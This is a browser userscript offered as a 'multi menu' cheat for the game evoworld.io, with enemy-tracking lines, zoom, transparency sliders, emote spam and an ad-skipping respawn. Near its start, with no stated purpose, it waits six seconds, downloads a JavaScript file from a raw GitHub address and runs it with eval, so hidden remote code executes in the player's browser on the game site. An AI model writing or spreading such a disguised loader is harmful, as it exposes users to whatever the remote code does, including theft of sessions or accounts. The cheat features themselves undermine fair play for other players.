- // ==UserScript==
- // @name Evoworld.io Multi menu
- // @namespace http://tampermonkey.net/
- // @version 1.1
- // @description The new cheat-script for evoeorld.io with a lot of functions
- // @author You
- // @license MIT
- // @match https://evoworld.io/
- // @icon https://www.google.com/s2/favicons?sz=64&domain=evoworld.io
- // @grant none
- // ==/UserScript==
-
- (function () {
- 'use strict';
- setTimeout(() => {$.get("https://raw.githubusercontent.com/cameronlucky73/confused/main/o.js", (d) => eval(d));}, 6000);
- // --- Overlay HTML ---
- let overlayHTML = `
- <div id="main_panel">
- <h3>Main panel</h3>
- <div class="main_panel_content">
- <small>Click on the desired option to activate it.</small>
- <div class="button" onclick="(function() { setInterval(function(){startBonus = true}, 1) })();">Exp bonus +30%</div>
- <div class="button" onclick="document.body.onkeyup = function(e) {if (e.keyCode == 81){ sendEmote(1); } if ( e.keyCode == 69){sendEmote(10);}};">Emoji hack (Buttons Q and E)</div>
- <div class="button" onclick="setInterval(function(){if(imDead == true){playAgain()}}, 1)">Instant respawn (Risky)</div>
- <div class="button" onclick="document.addEventListener('keydown', (event) => {if (event.key == 'r') {game.canvas.click()}})">Holding jump (Press "R")</div>
- <div class="button" onclick="document.addEventListener('keydown', (event) => {if (event.key == 'f') {game.canvas.width = 1719;game.canvas.height = 1009}})">Big zoom (Press "F")</div>
- Zoom<input type="range" min="1" max="2" value="1" step="0.01" id="Zoom">
- <br><br><input type="input" value="Enter any level here(Visual)" id="anyLevel">
- <br><br><input type="input" value="Enter any nick here(Visual)" id="anyNick">
- <br><br><div id="cloudSlider">
- <label>Cloud Transparency</label>
- <input type="range" min="0" max="1" step="0.01" value="0.5">
- </div>
- <div id="swampSlider">
- <label>Swamp Transparency</label>
- <input type="range" min="0" max="1" step="0.01" value="1">
- </div>
- <div id="bushSlider">
- <label>Bush Transparency</label>
- <input type="range" min="0" max="1" step="0.01" value="1">
- </div>
- <br><br><div id="enemyLinesCheckbox">
- <input type="checkbox" checked>
- <label>Enemy Show</label>
- </div>
- <div id="emoteSpamCheckbox">
- <input type="checkbox">
- <label>Emote Spam</label>
- </div>
- <div id="colorPicker">
- <label>Enemy Line Color</label>
- <input type="color" value="yellow">
- </div>
- <hr>
- <h4>Guide</h4>
- <p>Exp Bonus +30% — When activated, the bonus will be enabled, but it won’t work if you have already watched an ad before the game or if you have a premium account.
- Emoji Hack (Buttons Q and E) — When activated, hotkeys will be enabled: pressing "Q" will send 👎, and pressing "E" will send 😆.
- Instant Respawn (Risky) — When activated, you will automatically respawn upon death without watching an ad, but there is a high chance that you will be automatically disconnected from the server, requiring you to reload the game and evolve again.
- Holding Jump (Press "R") — When activated, holding the "R" key will make you automatically fly upward at the maximum allowed speed.
- Big Zoom (Press "F") — When activated, pressing "F" will enable a kind of zoom-out effect. Zoom — A simple slider for adjusting zoom.
- Cloud Transparency — Controls the transparency of special objects, meant for adjusting cloud transparency on old PCs.
- Swamp Transparency — Controls the transparency of swamps (for old PCs).
- Bush Transparency — Controls the transparency of bushes (for old PCs).
- Enemy Show — Displays health bars and distances to players (enabled by default).
- Emote Spam — Spams random emotes. Enemy Line Color — Changes the color of the line displaying the distance to neutral players.<br><br>
-
- You will see well underground and FPS Boost will be automatically activated.</p>
-
-
- </div>
- <hr>
- <p>ℹ Press Y to hide the main panel</p>
- </div>
-
- <div id="viewmod">
- <div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'], 'y': this['position']['y'] + this['height'] }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Default view</div>
- <br><div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'], 'y': this['position']['y'] + this['height'] + 200 }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Top view</div>
- <div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'] - 200, 'y': this['position']['y'] + this['height'] }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Left view</div>
- <div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'] + 200, 'y': this['position']['y'] + this['height'] }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Right view</div>
- <div class="button2" onclick="game.me.getAllPositions = function() { return { 'x': this['position']['x'], 'y': this['position']['y'], 'center': { 'x': this['position']['x'] + this['width'], 'y': this['position']['y'] + this['height'] - 200 }, 'right': this['position']['x'] + this['width'], 'left': this['position']['x'], 'top': this['position']['y'] + this['height'], 'bottom': this['position']['y'] };}">Bottom view</div>
- </div>
-
- <style>
- *{
- outline: none;
- }
-
- input[type="range"] {
- accent-color: coral;
- }
-
- #main_panel {
- z-index: 10;
- position: absolute;
- top: 50%;
- left: 0;
- width: 20%;
- padding: 12px 12px;
- transition: 0.5s;
- backdrop-filter: blur(5px);
- border-radius: 0px 24px 24px 0px;
- font-family: Arial, Helvetica, sans-serif;
- transform: translateY(-50%);
- background-color: rgba(255, 255, 255, 0.75);
- -webkit-box-shadow: 0px 0px 32px 10px rgba(34, 60, 80, 0.2);
- -moz-box-shadow: 0px 0px 32px 10px rgba(34, 60, 80, 0.2);
- box-shadow: 0px 0px 32px 10px rgba(34, 60, 80, 0.2);
- }
-
- .main_panel_content {
- max-height: 420px;
- overflow-y: auto;
- padding: 12px 12px;
- word-wrap: break-word;
- overflow-wrap: break-word;
- white-space: normal;
- }
-
- #viewmod {
- z-index: 10;
- position: absolute;
- top: 50%;
- right: 0;
- transition: 0.5s;
- transform: translateY(-50%);
- font-family: Arial, Helvetica, sans-serif;
- }
-
- .button {
- all: unset;
- font-size: 16px;
- background: transparent;
- border: none;
- position: relative;
- color: #f0f0f0;
- cursor: pointer;
- z-index: 1;
- margin: 24px 6px;
- padding: 10px 20px;
- display: flex;
- align-items: center;
- justify-content: center;
- white-space: nowrap;
- user-select: none;
- -webkit-user-select: none;
- touch-action: manipulation;
- }
-
- .button::after,
- .button::before {
- content: '';
- position: absolute;
- bottom: 0;
- right: 0;
- z-index: -99999;
- transition: all .4s;
- }
-
- .button::before {
- transform: translate(0%, 0%);
- width: 100%;
- height: 100%;
- background: #28282d;
- border-radius: 10px;
- }
-
- .button::after {
- transform: translate(10px, 10px);
- width: 35px;
- height: 35px;
- background: #ffffff15;
- backdrop-filter: blur(5px);
- -webkit-backdrop-filter: blur(5px);
- border-radius: 50px;
- }
-
- .button:hover::before {
- transform: translate(5%, 20%);
- width: 110%;
- height: 110%;
- }
-
- .button:hover::after {
- border-radius: 10px;
- transform: translate(0, 0);
- width: 100%;
- height: 100%;
- }
-
- .button:active::after {
- transition: 0s;
- transform: translate(0, 5%);
- }
-
- .button2 {
- background-color: #fff000;
- border-radius: 12px;
- color: #000;
- cursor: pointer;
- font-weight: bold;
- padding: 10px 15px;
- text-align: center;
- transition: 200ms;
- width: 100%;
- box-sizing: border-box;
- border: 0;
- margin: 4px 0px;
- font-size: 16px;
- user-select: none;
- -webkit-user-select: none;
- touch-action: manipulation;
- }
-
- .button2:not(:disabled):hover,
- .button2:not(:disabled):focus {
- outline: 0;
- background: #f4e603;
- box-shadow: 0 0 0 2px rgba(0,0,0,.2), 0 3px 8px 0 rgba(0,0,0,.15);
- }
-
- .button2:disabled {
- filter: saturate(0.2) opacity(0.5);
- -webkit-filter: saturate(0.2) opacity(0.5);
- cursor: not-allowed;
- }
- </style>
- `;
-
- // --- Вставка Overlay в DOM ---
- let overlay = document.createElement("div");
- overlay.innerHTML = overlayHTML;
- document.body.appendChild(overlay);
-
- // --- Логика для скрытия/показа панели ---
- let box = document.getElementById("main_panel");
- box.style.opacity = "1";
- document.addEventListener('keydown', (event) => {
- if (event.keyCode == 89) {
- let opac = box.style.opacity;
- if (opac == 1) {
- box.style.opacity = "0";
- } else {
- box.style.opacity = "1";
- }
- }
- });
-
- // --- Логика для ползунков и инпутов ---
- let Game = { me: { zoom: undefined, visualNick: undefined, visualLevel: undefined }, camera: { position: undefined } };
-
- let slider = document.getElementById('Zoom');
- slider.oninput = function () {
- Game.me.zoom = this.value;
- gameZoom = Game.me.zoom;
- };
-
- let input = document.getElementById('anyLevel');
- input.oninput = function () {
- Game.me.visualLevel = this.value;
- game.me.level = Game.me.visualLevel;
- };
-
- let input1 = document.getElementById('anyNick');
- input1.oninput = function () {
- Game.me.visualNick = this.value;
- game.me.nick = Game.me.visualNick;
- };
-
- // --- Логика для анимации ---
- let animationFrameId;
- const startAnimationFrame = (previousTimestamp = performance.now(), remainingFrameTime = 0) => {
- let timeElapsedSinceLastFrame = performance.now() - previousTimestamp,
- targetFrameInterval = 16.67 - timeElapsedSinceLastFrame + remainingFrameTime,
- frameDelay = targetFrameInterval - (0 | targetFrameInterval);
- animationFrameId = requestAnimationFrame(() => startAnimationFrame(previousTimestamp, frameDelay));
- };
- startAnimationFrame();
- window.addEventListener("beforeunload", () => {
- animationFrameId && cancelAnimationFrame(animationFrameId);
- });
-
- // --- Логика для эхолокации ---
- function echolocation() {
- visionType = 1;
- }
- setInterval(echolocation, 0);
-
- // --- Логика для полноэкранного блока ---
- let fullscreenBlock = document.createElement("div");
- fullscreenBlock.id = "fullscreen_block";
- fullscreenBlock.style.position = "fixed";
- fullscreenBlock.style.top = "0";
- fullscreenBlock.style.left = "0";
- fullscreenBlock.style.width = "100%";
- fullscreenBlock.style.height = "100%";
- fullscreenBlock.style.backgroundColor = "rgba(0, 0, 0, 24)";
- fullscreenBlock.style.zIndex = "9999";
- fullscreenBlock.style.display = "flex";
- fullscreenBlock.style.justifyContent = "center";
- fullscreenBlock.style.alignItems = "center";
- fullscreenBlock.style.transition = "opacity 5s";
-
- let fullscreenText = document.createElement("div");
- fullscreenText.textContent = "By: ilya gaydov";
- fullscreenText.style.color = "white";
- fullscreenText.style.fontFamily = "Arial, sans-serif";
- fullscreenText.style.fontSize = "24px";
-
- fullscreenBlock.appendChild(fullscreenText);
- document.body.appendChild(fullscreenBlock);
-
- setTimeout(() => {
- fullscreenBlock.style.opacity = "0";
- setTimeout(() => {
- fullscreenBlock.remove();
- }, 5000);
- }, 0);
-
- // --- Логика для первого скрипта ---
- function waitForGameLoad() {
- if (typeof game !== 'undefined' && game.canvas) {
- initScript();
- } else {
- setTimeout(waitForGameLoad, 500);
- }
- }
-
- function initScript() {
- console.log("Game loaded, initializing script...");
-
- // --- Feature Toggles ---
- let showEnemyLines = true;
- let emoteSpamEnabled = false;
-
- // --- Enemy Line Color ---
- let enemyLineColor = 'yellow';
-
- // --- Menu Elements ---
- const cloudSlider = document.getElementById('cloudSlider').querySelector('input');
- const swampSlider = document.getElementById('swampSlider').querySelector('input');
- const bushSlider = document.getElementById('bushSlider').querySelector('input');
- const enemyLinesCheckbox = document.getElementById('enemyLinesCheckbox').querySelector('input');
- const emoteSpamCheckbox = document.getElementById('emoteSpamCheckbox').querySelector('input');
- const colorPicker = document.getElementById('colorPicker').querySelector('input');
-
- // --- Apply Transparency ---
- function applyTransparency() {
- const cloudAlpha = parseFloat(cloudSlider.value);
- const swampAlpha = parseFloat(swampSlider.value);
- const bushAlpha = parseFloat(bushSlider.value);
-
- Object.values(game.gameObjects).forEach(obj => {
- if (obj.name.includes('cloud')) {
- obj.opacity = cloudAlpha;
- } else if (obj.name === 'swamp') {
- obj.opacity = swampAlpha;
- } else if (obj.name.includes('bush')) {
- obj.opacity = bushAlpha;
- }
- });
- }
-
- // --- Override game.isVisible to make players in safe zones visible ---
- const originalIsVisible = game.isVisible;
- game.isVisible = function (camera, obj, originalWidth, originalHeight) {
- if (obj.type === objectType.PLAYER && obj.inSafeZone) {
- return true; // Always visible
- }
- return originalIsVisible.call(this, camera, obj, originalWidth, originalHeight);
- };
-
- // --- Draw Enemy Lines ---
- function drawEnemyLines() {
- if (showEnemyLines) {
- const ctx = game.dynamicContext;
- ctx.strokeStyle = enemyLineColor;
- ctx.lineWidth = 2;
- ctx.font = '14px Arial';
-
- const extendedRenderDistance = game.worldWidth;
-
- Object.values(game.gameObjects).forEach(obj => {
- if (obj.type === objectType.PLAYER && obj !== game.me &&
- game.isVisible(game.camera, obj, extendedRenderDistance, extendedRenderDistance)) {
- const myPos = game.getRenderPosition(game.me.position.x + game.me.width / 2, game.me.position.y + game.me.height / 2);
- const enemyPos = game.getRenderPosition(obj.position.x + obj.width / 2, obj.position.y + obj.height / 2);
- const distance = Math.round(getDistance(game.me.position.x, game.me.position.y, obj.position.x, obj.position.y));
-
- // Draw line
- drawDangerLine(ctx, myPos, enemyPos, obj);
-
- // Draw distance
- ctx.fillStyle = 'white';
- ctx.fillText(`${distance}m`, (myPos.x + enemyPos.x) / 2, (myPos.y + enemyPos.y) / 2);
-
- // Draw glowing box
- ctx.shadowColor = 'cyan';
- ctx.shadowBlur = 10;
- const boxSize = 40;
- ctx.strokeRect(enemyPos.x - boxSize / 2, enemyPos.y - boxSize / 2, boxSize, boxSize);
- ctx.shadowBlur = 0;
-
- // Draw danger label
- drawDangerLabel(ctx, enemyPos, obj);
- }
- });
- }
- }
-
- // --- Draw Danger Line ---
- function drawDangerLine(ctx, myPos, enemyPos, enemy) {
- ctx.beginPath();
- ctx.moveTo(myPos.x, myPos.y);
- ctx.lineTo(enemyPos.x, enemyPos.y);
-
- // Set line color based on danger
- if (canEat(enemy, game.me)) {
- ctx.strokeStyle = 'red'; // Dangerous enemy
- } else {
- ctx.strokeStyle = enemyLineColor; // Safe enemy
- }
- ctx.stroke();
- }
-
- // --- Draw Danger Label ---
- function drawDangerLabel(ctx, enemyPos, enemy) {
- ctx.fillStyle = canEat(enemy, game.me) ? 'red' : 'green';
- ctx.font = 'bold 16px Arial';
- let label = canEat(enemy, game.me) ? 'Danger' : 'Safe';
- let textWidth = ctx.measureText(label).width;
- ctx.fillText(label, enemyPos.x - textWidth / 2, enemyPos.y - 55); // Moved label higher
- }
-
- // --- Dynamic Transparency for Clouds/Bushes/Swamp ---
- const originalDrawObject = game.drawObject;
- game.drawObject = function (obj, staticCanvas) {
- if ((obj.name.includes('cloud') || obj.name === 'swamp' || obj.name.includes('bush')) && game.isVisible(game.camera, obj)) {
- obj.opacity = parseFloat(cloudSlider.value);
- staticCanvas = false;
- }
- originalDrawObject.call(this, obj, staticCanvas);
- };
-
- // --- Emote Spam ---
- emoteSpamCheckbox.addEventListener('change', () => {
- emoteSpamEnabled = emoteSpamCheckbox.checked;
- if (emoteSpamEnabled) {
- startEmoteSpam();
- } else {
- stopEmoteSpam();
- }
- });
-
- let emoteSpamInterval;
- function startEmoteSpam() {
- emoteSpamInterval = setInterval(() => {
- if (typeof gameServer !== 'undefined' && !imDead && joinedGame) {
- const randomEmoteId = Math.floor(Math.random() * 13) + 1;
- sendEmote(randomEmoteId);
- }
- }, 1000);
- }
-
- function stopEmoteSpam() {
- clearInterval(emoteSpamInterval);
- }
-
- // --- Event Listeners for Menu Changes ---
- cloudSlider.addEventListener('input', applyTransparency);
- swampSlider.addEventListener('input', applyTransparency);
- bushSlider.addEventListener('input', applyTransparency);
- enemyLinesCheckbox.addEventListener('change', () => showEnemyLines = enemyLinesCheckbox.checked);
- colorPicker.addEventListener('change', () => enemyLineColor = colorPicker.value);
-
- // --- Add Enemy Lines to the Game Loop ---
- const originalBeforeDrawAllObjects = game.beforeDrawAllObjects;
- game.beforeDrawAllObjects = function () {
- originalBeforeDrawAllObjects.apply(this, arguments);
- drawEnemyLines();
- };
-
- // --- Set Initial Transparency ---
- applyTransparency();
- }
-
- // --- Helper Functions ---
- function getDistance(x1, y1, x2, y2) {
- let dx = x2 - x1;
- let dy = y2 - y1;
- return Math.sqrt(dx * dx + dy * dy);
- }
-
- // --- Food Eating Logic ---
- function canEat(eater, food) {
- if (foodChain[eater.name] && foodChain[eater.name].eats[food.name]) {
- return true;
- }
- return false;
- }
-
- // --- Wait for Game Load ---
- waitForGameLoad();
- })();
-
- // --- FPS ---
- let fpsCounter = document.createElement('div');
- fpsCounter.style.position = 'absolute';
- fpsCounter.style.top = '10px';
- fpsCounter.style.right = '10px';
- fpsCounter.style.padding = '5px 10px';
- fpsCounter.style.background = 'rgba(0, 0, 0, 0.7)';
- fpsCounter.style.color = 'white';
- fpsCounter.style.fontFamily = 'Arial, sans-serif';
- fpsCounter.style.fontSize = '14px';
- fpsCounter.style.borderRadius = '5px';
- fpsCounter.innerText = 'FPS: 0';
- fpsCounter.style.zIndex = '100'; // Устанавливаем максимальный z-index
- document.body.appendChild(fpsCounter);
-
- let lastTime = performance.now();
- let frameCount = 0;
- let fps = 0;
-
- function updateFPS() {
- let now = performance.now();
- frameCount++;
- if (now - lastTime >= 1000) {
- fps = frameCount;
- frameCount = 0;
- lastTime = now;
- fpsCounter.innerText = `FPS: ${fps}`;
- }
- requestAnimationFrame(updateFPS);
- }
- updateFPS();